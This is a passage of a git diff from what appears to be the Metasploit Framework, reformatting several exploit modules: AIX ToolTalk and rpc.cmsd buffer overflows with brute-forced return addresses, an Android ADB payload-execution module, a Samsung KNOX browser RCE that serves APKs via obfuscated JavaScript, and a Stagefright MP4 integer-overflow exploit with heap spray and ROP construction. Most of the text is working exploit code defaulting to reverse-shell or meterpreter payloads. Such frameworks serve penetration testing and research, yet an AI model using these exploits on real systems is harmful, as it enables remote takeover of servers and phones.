'DisclosureDate' => '2009-10-07')) - + 'DefaultTarget' => 0, + 'DisclosureDate' => '2009-10-07', + 'Notes' => { + 'Reliability' => [ UNRELIABLE_SESSION ], + 'Stability' => [ CRASH_SERVICE_RESTARTS ], + 'SideEffects' => [ IOC_IN_LOGS ] + } + ) + ) end def brute_exploit(brute_target) - - if not @aixpayload + if !@aixpayload datastore['AIX'] = target['AIX'] @aixpayload = regenerate_payload.encoded end - print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret']) + print_status('Trying to exploit rpc.cmsd with address 0x%x ...' % brute_target['Ret']) begin sunrpc_create('udp', 100068, 4) @@ -82,22 +85,21 @@ def brute_exploit(brute_target) buf = make_nops(1024 - @aixpayload.length) buf << @aixpayload xdr = Rex::Encoder::XDR.encode(buf, buf) - 10.times { + 10.times do sunrpc_call(7, xdr, 2) - } + end - #print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5) + # print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5) buf = rand_text_alphanumeric(payload_space) buf << [brute_target['Ret']].pack('N') - xdr = Rex::Encoder::XDR.encode(buf, "") + xdr = Rex::Encoder::XDR.encode(buf, '') sunrpc_authunix('localhost', 0, 0, []) sunrpc_call(21, xdr, 2) handler(sunrpc_callsock) sunrpc_destroy - rescue Rex::Proto::SunRPC::RPCTimeout vprint_error('RPCTimeout') rescue Rex::Proto::SunRPC::RPCError => e diff --git a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb index de9b868f356e8..e7b73b6a4283b 100644 --- a/modules/exploits/aix/rpc_ttdbserverd_realpath.rb +++ b/modules/exploits/aix/rpc_ttdbserverd_realpath.rb @@ -10,253 +10,255 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Brute def initialize(info = {}) - super(update_info(info, - 'Name' => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)', + 'Description' => %q{ This module exploits a buffer overflow vulnerability in _tt_internal_realpath - function of the ToolTalk database server (rpc.ttdbserverd). - }, - 'Author' => - [ + function of the ToolTalk database server (rpc.ttdbserverd). + }, + 'Author' => [ 'Ramon de C Valle', 'Adriano Lima ', ], - 'Platform' => [ 'aix' ], - 'References' => - [ + 'Platform' => [ 'aix' ], + 'References' => [ [ 'CVE', '2009-2727'], [ 'OSVDB', '55151' ] ], - 'Payload' => - { - 'BadChars' => "\x00", + 'Payload' => { + 'BadChars' => "\x00" }, - 'Targets' => - [ + 'Targets' => [ [ 'IBM AIX Version 6.1.4', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0x20099430+4096, - 'Addr1' => 0x2ff1ff50-8192, - 'AIX' => '6.1.4', + 'Ret' => 0x20099430 + 4096, + 'Addr1' => 0x2ff1ff50 - 8192, + 'AIX' => '6.1.4', 'Bruteforce' => { - 'Start' => { 'Ret' => 0x20099430-8192 }, - 'Stop' => { 'Ret' => 0x20099430+8192 }, - 'Step' => 1024 + 'Start' => { 'Ret' => 0x20099430 - 8192 }, + 'Stop' => { 'Ret' => 0x20099430 + 8192 }, + 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.3', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0x20099280+4096, - 'Addr1' => 0x2ff1ffd0-8192, - 'AIX' => '6.1.3', + 'Ret' => 0x20099280 + 4096, + 'Addr1' => 0x2ff1ffd0 - 8192, + 'AIX' => '6.1.3', 'Bruteforce' => { - 'Start' => { 'Ret' => 0x20099280-8192 }, - 'Stop' => { 'Ret' => 0x20099280+8192 }, - 'Step' => 1024 + 'Start' => { 'Ret' => 0x20099280 - 8192 }, + 'Stop' => { 'Ret' => 0x20099280 + 8192 }, + 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.2', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0x20099280+4096, - 'Addr1' => 0x2ff1ffd0-8192, - 'AIX' => '6.1.2', + 'Ret' => 0x20099280 + 4096, + 'Addr1' => 0x2ff1ffd0 - 8192, + 'AIX' => '6.1.2', 'Bruteforce' => { - 'Start' => { 'Ret' => 0x20099280-8192 }, - 'Stop' => { 'Ret' => 0x20099280+8192 }, - 'Step' => 1024 + 'Start' => { 'Ret' => 0x20099280 - 8192 }, + 'Stop' => { 'Ret' => 0x20099280 + 8192 }, + 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.1', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0x20099280+4096, - 'Addr1' => 0x2ff1ffd0-8192, - 'AIX' => '6.1.1', + 'Ret' => 0x20099280 + 4096, + 'Addr1' => 0x2ff1ffd0 - 8192, + 'AIX' => '6.1.1', 'Bruteforce' => { - 'Start' => { 'Ret' => 0x20099280-8192 }, - 'Stop' => { 'Ret' => 0x20099280+8192 }, - 'Step' => 1024 + 'Start' => { 'Ret' => 0x20099280 - 8192 }, + 'Stop' => { 'Ret' => 0x20099280 + 8192 }, + 'Step' => 1024 } } ], [ 'IBM AIX Version 6.1.0', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0x20099280+4096, - 'Addr1' => 0x2ff1ffd0-8192, - 'AIX' => '6.1.0', + 'Ret' => 0x20099280 + 4096, + 'Addr1' => 0x2ff1ffd0 - 8192, + 'AIX' => '6.1.0', 'Bruteforce' => { - 'Start' => { 'Ret' => 0x20099280-8192 }, - 'Stop' => { 'Ret' => 0x20099280+8192 }, - 'Step' => 1024 + 'Start' => { 'Ret' => 0x20099280 - 8192 }, + 'Stop' => { 'Ret' => 0x20099280 + 8192 }, + 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0x20096ba0+4096, - 'Addr1' => 0x2ff1ff14-8192, - 'AIX' => '5.3.9', + 'Ret' => 0x20096ba0 + 4096, + 'Addr1' => 0x2ff1ff14 - 8192, + 'AIX' => '5.3.9', 'Bruteforce' => { - 'Start' => { 'Ret' => 0x20096ba0-8192 }, - 'Stop' => { 'Ret' => 0x20096ba0+8192 }, - 'Step' => 1024 + 'Start' => { 'Ret' => 0x20096ba0 - 8192 }, + 'Stop' => { 'Ret' => 0x20096ba0 + 8192 }, + 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.10', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0x20096bf0+4096, - 'Addr1' => 0x2ff1ff14-8192, - 'AIX' => '5.3.10', + 'Ret' => 0x20096bf0 + 4096, + 'Addr1' => 0x2ff1ff14 - 8192, + 'AIX' => '5.3.10', 'Bruteforce' => { - 'Start' => { 'Ret' => 0x20096bf0-8192 }, - 'Stop' => { 'Ret' => 0x20096bf0+8192 }, - 'Step' => 1024 + 'Start' => { 'Ret' => 0x20096bf0 - 8192 }, + 'Stop' => { 'Ret' => 0x20096bf0 + 8192 }, + 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.9', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0x20096ba0+4096, - 'Addr1' => 0x2ff1ff14-8192, - 'AIX' => '5.3.9', + 'Ret' => 0x20096ba0 + 4096, + 'Addr1' => 0x2ff1ff14 - 8192, + 'AIX' => '5.3.9', 'Bruteforce' => { - 'Start' => { 'Ret' => 0x20096ba0-8192 }, - 'Stop' => { 'Ret' => 0x20096ba0+8192 }, - 'Step' => 1024 + 'Start' => { 'Ret' => 0x20096ba0 - 8192 }, + 'Stop' => { 'Ret' => 0x20096ba0 + 8192 }, + 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.8', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0x20096c10+4096, - 'Addr1' => 0x2ff1ff98-8192, - 'AIX' => '5.3.8', + 'Ret' => 0x20096c10 + 4096, + 'Addr1' => 0x2ff1ff98 - 8192, + 'AIX' => '5.3.8', 'Bruteforce' => { - 'Start' => { 'Ret' => 0x20096c10-8192 }, - 'Stop' => { 'Ret' => 0x20096c10+8192 }, - 'Step' => 1024 + 'Start' => { 'Ret' => 0x20096c10 - 8192 }, + 'Stop' => { 'Ret' => 0x20096c10 + 8192 }, + 'Step' => 1024 } } ], [ 'IBM AIX Version 5.3.7', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0x20096c10+4096, - 'Addr1' => 0x2ff1ff98-8192, - 'AIX' => '5.3.7', + 'Ret' => 0x20096c10 + 4096, + 'Addr1' => 0x2ff1ff98 - 8192, + 'AIX' => '5.3.7', 'Bruteforce' => { - 'Start' => { 'Ret' => 0x20096c10-8192 }, - 'Stop' => { 'Ret' => 0x20096c10+8192 }, - 'Step' => 1024 + 'Start' => { 'Ret' => 0x20096c10 - 8192 }, + 'Stop' => { 'Ret' => 0x20096c10 + 8192 }, + 'Step' => 1024 } } ], [ 'Debug IBM AIX Version 6.1', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0xaabbccdd, - 'Addr1' => 0xddccbbaa, - 'AIX' => '6.1.4', + 'Ret' => 0xaabbccdd, + 'Addr1' => 0xddccbbaa, + 'AIX' => '6.1.4', 'Bruteforce' => { 'Start' => { 'Ret' => 0xaabbccdd }, - 'Stop' => { 'Ret' => 0xaabbccdd }, - 'Step' => 1024 + 'Stop' => { 'Ret' => 0xaabbccdd }, + 'Step' => 1024 } } ], [ 'Debug IBM AIX Version 5.3', { - 'Arch' => 'ppc', + 'Arch' => 'ppc', 'Platform' => 'aix', - 'Ret' => 0xaabbccdd, - 'Addr1' => 0xddccbbaa, - 'AIX' => '5.3.10', + 'Ret' => 0xaabbccdd, + 'Addr1' => 0xddccbbaa, + 'AIX' => '5.3.10', 'Bruteforce' => { 'Start' => { 'Ret' => 0xaabbccdd }, - 'Stop' => { 'Ret' => 0xaabbccdd }, - 'Step' => 1024 + 'Stop' => { 'Ret' => 0xaabbccdd }, + 'Step' => 1024 } } ], ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2009-06-17')) - + 'DefaultTarget' => 0, + 'DisclosureDate' => '2009-06-17', + 'Notes' => { + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SERVICE_RESTARTS ], + 'SideEffects' => [ IOC_IN_LOGS ] + } + ) + ) end def brute_exploit(brute_target) - - if not @aixpayload + if !@aixpayload datastore['AIX'] = target['AIX'] @aixpayload = regenerate_payload.encoded end - print_status("Trying to exploit rpc.ttdbserverd with address 0x%08x..." % brute_target['Ret']) + print_status('Trying to exploit rpc.ttdbserverd with address 0x%08x...' % brute_target['Ret']) begin - sunrpc_create('tcp', 100083, 1) if target['AIX'] =~ /6\./ - buf = "A" + buf = 'A' else - buf = "AA" + buf = 'AA' end buf << [target['Addr1']].pack('N') * (1022 + 8) buf << [brute_target['Ret']].pack('N') * 32 if target['AIX'] =~ /6\./ - buf << "AAA" + buf << 'AAA' else - buf << "AA" + buf << 'AA' end buf << "\x7f\xff\xfb\x78" * 1920 @@ -268,7 +270,6 @@ def brute_exploit(brute_target) sunrpc_destroy handler - rescue Rex::Proto::SunRPC::RPCTimeout # print_error('RPCTimeout') rescue EOFError diff --git a/modules/exploits/android/adb/adb_server_exec.rb b/modules/exploits/android/adb/adb_server_exec.rb index 4a8202a1ca2b5..e930723aefa67 100644 --- a/modules/exploits/android/adb/adb_server_exec.rb +++ b/modules/exploits/android/adb/adb_server_exec.rb @@ -10,26 +10,34 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::CmdStager def initialize(info = {}) - super(update_info(info, - 'Name' => 'Android ADB Debug Server Remote Payload Execution', - 'Description' => %q{ - Writes and spawns a native payload on an android device that is listening - for adb debug messages. - }, - 'Author' => ['joev'], - 'License' => MSF_LICENSE, - 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' }, - 'Platform' => 'linux', - 'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE], - 'Targets' => [ - ['armle', {'Arch' => ARCH_ARMLE}], - ['x86', {'Arch' => ARCH_X86}], - ['x64', {'Arch' => ARCH_X64}], - ['mipsle', {'Arch' => ARCH_MIPSLE}] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2016-01-01' - )) + super( + update_info( + info, + 'Name' => 'Android ADB Debug Server Remote Payload Execution', + 'Description' => %q{ + Writes and spawns a native payload on an Android device that is listening + for adb debug messages. + }, + 'Author' => ['joev'], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' }, + 'Platform' => 'linux', + 'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE], + 'Targets' => [ + ['armle', { 'Arch' => ARCH_ARMLE }], + ['x86', { 'Arch' => ARCH_X86 }], + ['x64', { 'Arch' => ARCH_X64 }], + ['mipsle', { 'Arch' => ARCH_MIPSLE }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2016-01-01', + 'Notes' => { + 'SideEffects' => [ ARTIFACTS_ON_DISK ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ] + } + ) + ) register_options([ Opt::RPORT(5555), @@ -40,28 +48,28 @@ def initialize(info = {}) def check setup_adb_connection do device_info = @adb_client.connect.data - print_good "Detected device:\n#{device_info}" - return Exploit::CheckCode::Vulnerable + print_good("Detected device:\n#{device_info}") + return CheckCode::Vulnerable end - Exploit::CheckCode::Unknown + CheckCode::Unknown end - def execute_command(cmd, opts) + def execute_command(cmd, _opts) response = @adb_client.exec_cmd(cmd) - print_good "Command executed, response:\n #{response}" + print_good("Command executed, response:\n #{response}") end def exploit setup_adb_connection do device_data = @adb_client.connect - print_good "Connected to device:\n#{device_data.data}" + print_good("Connected to device:\n#{device_data.data}") execute_cmdstager({ flavor: :echo, enc_format: :octal, prefix: '\\\\0', temp: datastore['WritableDir'], - linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8, + linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA - 8, background: true, nodelete: true }) @@ -69,13 +77,11 @@ def exploit end def setup_adb_connection(&blk) - begin - print_status "Connecting to device..." - connect - @adb_client = Rex::Proto::ADB::Client.new(sock) - blk.call - ensure - disconnect - end + print_status('Connecting to device...') + connect + @adb_client = Rex::Proto::ADB::Client.new(sock) + blk.call + ensure + disconnect end end diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb index aad49dd025164..be7018257a9f5 100644 --- a/modules/exploits/android/browser/samsung_knox_smdm_url.rb +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -15,43 +15,51 @@ class MetasploitModule < Msf::Exploit::Remote attr_reader :served_payloads def initialize(info = {}) - super(update_info(info, - 'Name' => 'Samsung Galaxy KNOX Android Browser RCE', - 'Description' => %q{ - A vulnerability exists in the KNOX security component of the Samsung Galaxy - firmware that allows a remote webpage to install an APK with arbitrary - permissions by abusing the 'smdm://' protocol handler registered by the KNOX - component. - - The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3, - and Ace 4. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'Andre Moulu', # discovery, advisory, and exploitation help - 'jduck', # msf module - 'joev' # msf module - ], - 'References' => [ - ['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'], - ['OSVDB', '114590'] - ], - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, - 'Targets' => [ [ 'Automatic', {} ] ], - 'DisclosureDate' => '2014-11-12', - 'DefaultTarget' => 0, - - 'BrowserRequirements' => { - :source => 'script', - :os_name => OperatingSystems::Match::ANDROID - } - )) + super( + update_info( + info, + 'Name' => 'Samsung Galaxy KNOX Android Browser RCE', + 'Description' => %q{ + A vulnerability exists in the KNOX security component of the Samsung Galaxy + firmware that allows a remote webpage to install an APK with arbitrary + permissions by abusing the 'smdm://' protocol handler registered by the KNOX + component. + + The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3, + and Ace 4. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Andre Moulu', # discovery, advisory, and exploitation help + 'Elliot Alderson', # Mr. Robot easter-egg + 'jduck', # msf module + 'joev' # msf module + ], + 'References' => [ + ['URL', 'https://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'], + ['OSVDB', '114590'] + ], + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => '2014-11-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ], + 'Reliability' => [ UNRELIABLE_SESSION ], + 'Stability' => [ CRASH_SAFE ] + }, + 'BrowserRequirements' => { + source: 'script', + os_name: OperatingSystems::Match::ANDROID + } + ) + ) register_options([ OptString.new('APK_VERSION', [ - false, "The update version to advertise to the client", "1337" + false, 'The update version to advertise to the client', '1337' ]) ]) @@ -68,13 +76,13 @@ def apk_bytes end def on_request_uri(cli, req) - if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/ + if req.uri =~ %r{/([a-zA-Z0-9]+)\.apk/latest$} if req.method.upcase == 'HEAD' - print_status "Serving metadata..." + print_status 'Serving metadata...' send_response(cli, '', magic_headers) else - print_status "Serving payload '#{$1}'..." - @served_payloads[$1] = 1 + print_status "Serving payload '#{::Regexp.last_match(1)}'..." + @served_payloads[::Regexp.last_match(1)] = 1 send_response(cli, apk_bytes, magic_headers) end elsif req.uri =~ /_poll/ @@ -88,31 +96,33 @@ def on_request_uri(cli, req) end # The browser appears to be vulnerable, serve the exploit - def on_request_exploit(cli, req, browser) - print_status "Serving exploit..." + def on_request_exploit(cli, _req, _browser) + print_status 'Serving exploit...' send_response_html(cli, generate_html) end def magic_headers - { 'Content-Length' => apk_bytes.length, + { + 'Content-Length' => apk_bytes.length, 'ETag' => Digest::MD5.hexdigest(apk_bytes), - 'x-amz-meta-apk-version' => datastore['APK_VERSION'] } + 'x-amz-meta-apk-version' => datastore['APK_VERSION'] + } end def generate_html - %Q| + %( - | + ) end def exploit_js payload_id = rand_word - js_obfuscate %Q| + js_obfuscate %| function poll() { var xhr = new XMLHttpRequest(); @@ -158,6 +168,6 @@ def exploit_js end def rand_word - Rex::Text.rand_text_alphanumeric(3+rand(12)) + Rex::Text.rand_text_alphanumeric(3..12) end end diff --git a/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb b/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb index a1ed3fd3c24cc..d4172dbf69d2a 100644 --- a/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb +++ b/modules/exploits/android/browser/stagefright_mp4_tx3g_64bit.rb @@ -9,67 +9,66 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb - def initialize(info={}) - super(update_info(info, - 'Name' => "Android Stagefright MP4 tx3g Integer Overflow", - 'Description' => %q{ + # rubocop:disable Metrics/MethodLength + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Android Stagefright MP4 tx3g Integer Overflow', + 'Description' => %q{ This module exploits an integer overflow vulnerability in the Stagefright - Library (libstagefright.so). The vulnerability occurs when parsing specially - crafted MP4 files. While a wide variety of remote attack vectors exist, this - particular exploit is designed to work within an HTML5 compliant browser. + Library (libstagefright.so). The vulnerability occurs when parsing specially + crafted MP4 files. While a wide variety of remote attack vectors exist, this + particular exploit is designed to work within an HTML5 compliant browser. Exploitation is done by supplying a specially crafted MP4 file with two - tx3g atoms that, when their sizes are summed, cause an integer overflow when - processing the second atom. As a result, a temporary buffer is allocated - with insufficient size and a memcpy call leads to a heap overflow. + tx3g atoms that, when their sizes are summed, cause an integer overflow when + processing the second atom. As a result, a temporary buffer is allocated + with insufficient size and a memcpy call leads to a heap overflow. This version of the exploit uses a two-stage information leak based on - corrupting the MetaData that the browser reads from mediaserver. This method - is based on a technique published in NorthBit's Metaphor paper. First, - we use a variant of their technique to read the address of a heap buffer - located adjacent to a SampleIterator object as the video HTML element's - videoHeight. Next, we read the vtable pointer from an empty Vector within - the SampleIterator object using the video element's duration. This gives - us a code address that we can use to determine the base address of - libstagefright and construct a ROP chain dynamically. - - NOTE: the mediaserver process on many Android devices (Nexus, for example) is - constrained by SELinux and thus cannot use the execve system call. To avoid - this problem, the original exploit uses a kernel exploit payload that disables - SELinux and spawns a shell as root. Work is underway to make the framework - more amenable to these types of situations. Until that work is complete, this - exploit will only yield a shell on devices without SELinux or with SELinux in - permissive mode. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + corrupting the MetaData that the browser reads from mediaserver. This method + is based on a technique published in NorthBit's Metaphor paper. First, + we use a variant of their technique to read the address of a heap buffer + located adjacent to a SampleIterator object as the video HTML element's + videoHeight. Next, we read the vtable pointer from an empty Vector within + the SampleIterator object using the video element's duration. This gives + us a code address that we can use to determine the base address of + libstagefright and construct a ROP chain dynamically. + + NOTE: the mediaserver process on many Android devices (Nexus, for example) is + constrained by SELinux and thus cannot use the execve system call. To avoid + this problem, the original exploit uses a kernel exploit payload that disables + SELinux and spawns a shell as root. Work is underway to make the framework + more amenable to these types of situations. Until that work is complete, this + exploit will only yield a shell on devices without SELinux or with SELinux in + permissive mode. + }, + 'License' => MSF_LICENSE, + 'Author' => [ # Exodus/jordan # initial discovery / disclosure - 'jduck', # Metasploit module, further infoleak development - 'NorthBit' # intiial information leak implementation + 'jduck', # Metasploit module, further infoleak development + 'NorthBit' # initial information leak implementation ], - 'References' => - [ + 'References' => [ [ 'CVE', '2015-3864' ], [ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ], - [ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ], + [ 'URL', 'https://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ], [ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ], [ 'URL', 'https://github.com/NorthBit/Metaphor' ], # Not used, but related - [ 'URL', 'http://drops.wooyun.org/papers/7558' ], - [ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ], - [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ], + [ 'URL', 'https://web.archive.org/web/20160115042350/http://drops.wooyun.org/papers/7558' ], + [ 'URL', 'https://web.archive.org/web/20160331185650/http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ], + [ 'URL', 'https://web.archive.org/web/20160304015534/https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ], ], - 'Payload' => - { - 'Space' => 2048, - 'DisableNops' => true, + 'Payload' => { + 'Space' => 2048, + 'DisableNops' => true }, - #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' }, - 'Platform' => 'linux', - 'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X64, ARCH_MIPSLE], - 'Targets' => - [ + # 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp' }, + 'Platform' => 'linux', + 'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X64, ARCH_MIPSLE], + 'Targets' => [ [ 'Automatic', {} ], # # Each target includes information about the device, firmware, and @@ -344,22 +343,19 @@ def initialize(info={}) } ] ], - 'Privileged' => true, - 'DisclosureDate' => '2015-08-13', - 'DefaultTarget' => 0, - 'Notes' => - { - 'AKA' => ['stagefright'] - } - )) - -=begin - register_options( - [ - OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ]) -=end + 'Privileged' => true, + 'DisclosureDate' => '2015-08-13', + 'DefaultTarget' => 0, + 'Notes' => { + 'AKA' => ['stagefright'], + 'SideEffects' => [ ARTIFACTS_ON_DISK ], + 'Reliability' => [ UNRELIABLE_SESSION ], + 'Stability' => [ CRASH_SERVICE_DOWN ] + } + ) + ) end + # rubocop:enable Metrics/MethodLength def exploit @peers = {} @@ -368,10 +364,11 @@ def exploit def get_target(request) agent = request.headers['User-Agent'] - self.targets.each do |t| + targets.each do |t| next if t.name == 'Automatic' + regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}") - return t if (agent =~ /#{regexp}/) + return t if agent =~ /#{regexp}/ end return nil end @@ -395,8 +392,8 @@ def build_spray(my_target, peer, spray_addr) vector_ptr = peer[:vector_vtable_addr] libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000) - # If we smash mDataSource, this ends up controlling the program counter!! =begin + # If we smash mDataSource, this ends up controlling the program counter!! 0xb65fd7c4 : ldr r2, [r0, #0] 0xb65fd7c6 : str r1, [sp, #0] 0xb65fd7c8 : ldr r5, [r7, #0] @@ -431,7 +428,7 @@ def build_spray(my_target, peer, spray_addr) payload_ptr = spray_addr + 0xa0 # Put the stack back! - stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp + stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp # Depending on the pivot strategy in use, we have to set things up slightly # differently... @@ -465,7 +462,7 @@ def build_spray(my_target, peer, spray_addr) ] when 'lmy-2' - ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement + ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement addroffs = [ [ 0x0, ptr_to_mds_pivot2 ], [ 0x8, new_sp ], @@ -474,7 +471,7 @@ def build_spray(my_target, peer, spray_addr) [ 0x1c, mds_pivot1 ] ] - stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp + stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp when 'lyz' ptr_to_mds_pivot2 = spray_addr + 0x8 @@ -488,7 +485,7 @@ def build_spray(my_target, peer, spray_addr) ] # We can't fix it becuse we don't know where the original stack is anymore :-/ - stack_fix = "" + stack_fix = '' when 'sm-g900v' addroffs = [ @@ -504,7 +501,7 @@ def build_spray(my_target, peer, spray_addr) end # We need our ROP to build the page... Create it. - rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] }) + rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, { 'base' => libsf_base, 'target' => my_target['Rop'] }) # Fix up the payload pointer in the ROP idx = rop.index([ 0xc600613c ].pack('V')) @@ -515,14 +512,14 @@ def build_spray(my_target, peer, spray_addr) # Insert the special values... addroffs.each do |ao| - off,addr = ao - page[off,4] = [ addr ].pack('V') + off, addr = ao + page[off, 4] = [ addr ].pack('V') # Sometimes the spray isn't aligned perfectly... if addr == new_sp - page[off+unalign_off,4] = [ new_sp2 ].pack('V') + page[off + unalign_off, 4] = [ new_sp2 ].pack('V') else - page[off+unalign_off,4] = [ addr ].pack('V') + page[off + unalign_off, 4] = [ addr ].pack('V') end end @@ -532,21 +529,22 @@ def build_spray(my_target, peer, spray_addr) # # MPEG-4 specific functionality # - def get_atom(tag, data='', length=nil) + def get_atom(tag, data = '', length = nil) if tag.length != 4 - raise 'Yo! They call it "FourCC" for a reason.' + raise 'Yo! They call it "FourCC" for a reason.' end length ||= data.length + 8 if length >= 2**32 return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join end + [ [ length ].pack('N'), tag, data ].join end def get_stsc(num) - stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets - stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num + stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets + stsc_data << [ 13 + 1, 0x5a5a5a5a, 37 ].pack('N*') * num get_atom('stsc', stsc_data) end @@ -565,7 +563,7 @@ def get_pssh(alloc_size) pssh_data << [ 0, 0, 0, 0 ].pack('N*') pssh_data << [ alloc_size ].pack('N') alloc_size.times do |off| - pssh_data << [ 0x55aa0000 + off ] .pack('V') + pssh_data << [ 0x55aa0000 + off ].pack('V') end get_atom('pssh', pssh_data) end @@ -587,10 +585,10 @@ def get_metaitem(tag, type, data) def jemalloc_round(sz) # These are in the 16-byte aligned runs - if (sz > 0x10 && sz <= 0x80) + if sz > 0x10 && sz <= 0x80 round = 16 # 160 starts the 32-byte aligned runs - elsif (sz > 0x80 && sz <= 0x140) + elsif sz > 0x80 && sz <= 0x140 round = 32 else raise "Don't know how to round 0x%x" % sz @@ -616,10 +614,10 @@ def get_mp4_leak(my_target, peer) # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] # sampiter_alloc_size = 0x78 - sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil? + sampiter_alloc_size = my_target['SampleIteratorSize'] if 